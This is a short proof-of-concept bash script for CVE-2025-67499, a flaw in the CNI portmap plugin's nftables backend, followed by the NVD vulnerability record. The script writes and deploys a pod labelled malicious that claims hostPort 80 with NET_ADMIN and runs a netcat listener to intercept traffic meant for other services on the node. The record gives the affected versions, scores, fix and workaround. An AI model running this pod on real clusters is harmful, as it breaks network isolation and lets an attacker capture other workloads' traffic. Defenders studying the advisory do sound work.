CVE-2025-67499

#!/bin/bash # CVE-2025-67499 PoC - CNI portmap nftables backend traffic hijacking # This PoC demonstrates how a malicious container can intercept traffic # intended for other services on the same host. # Prerequisites: # 1. Target system uses CNI with portmap plugin configured for nftables backend # 2. Attacker has ability to deploy containers to the target Kubernetes node # Step 1: Create a malicious pod definition requesting HostPort on port 80 cat << 'EOF' > malicious-pod.yaml apiVersion: v1 kind: Pod metadata: name: malicious-portmap-poc labels: app: poc-attack spec: containers: - name: attack-container image: busybox:latest command: ['sh', '-c', 'while true; do nc -l -p 80 -e echo "Intercepted traffic"; done'] ports: - containerPort: 80 hostPort: 80 # Request HostPort forwarding securityContext: capabilities: add: ['NET_ADMIN'] EOF # Step 2: Deploy the malicious pod to the target cluster kubectl apply -f malicious-pod.yaml # Step 3: Verify the nftables rule was created incorrectly # In vulnerable versions, this will show rules that match ONLY the port, # not the destination IP echo "Checking nftables rules for port 80..." sudo nft list chain ip nat PREROUTING # Step 4: Test traffic interception # Traffic sent to any service on port 80 on this host will be redirected # to the attacker's container instead of its intended destination echo "Send test traffic: curl http://<host-ip>:80" # Cleanup kubectl delete -f malicious-pod.yaml # Note: This vulnerability allows intercepting traffic that was not intended # for the attacking container, violating network isolation between containers.

{"cve": {"id": "CVE-2025-67499", "sourceIdentifier": "[email protected]", "published": "2025-12-10T00:16:11.107", "lastModified": "2026-03-17T20:30:24.280", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The CNI portmap plugin allows containers to emulate opening a host port, forwarding that traffic to the container. Versions 1.6.0 through 1.8.0 inadvertently forward all traffic with the same destination port as the host port when the portmap plugin is configured with the nftables backend, thus ignoring the destination IP. This includes traffic not intended for the node itself, i.e. traffic to containers hosted on the node. Containers that request HostPort forwarding can intercept all traffic destined for that port. This requires that the portmap plugin be explicitly configured to use the nftables backend. This issue is fixed in version 1.9.0. To workaround, configure the portmap plugin to use the iptables backend. It does not have this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 3.6, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.0, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:cni_network_plugins:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.6.0", "versionEndExcluding": "1.9.0", "matchCriteriaId": "78D82891-211D-4B11-9743-F7B3F9315720"}]}]}], "references": [{"url": "https://github.com/containernetworking/plugins/pull/1210", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/containernetworking/plugins/releases/tag/v1.9.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/containernetworking/plugins/security/advisories/GHSA-jv3w-x3r3-g6rm", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}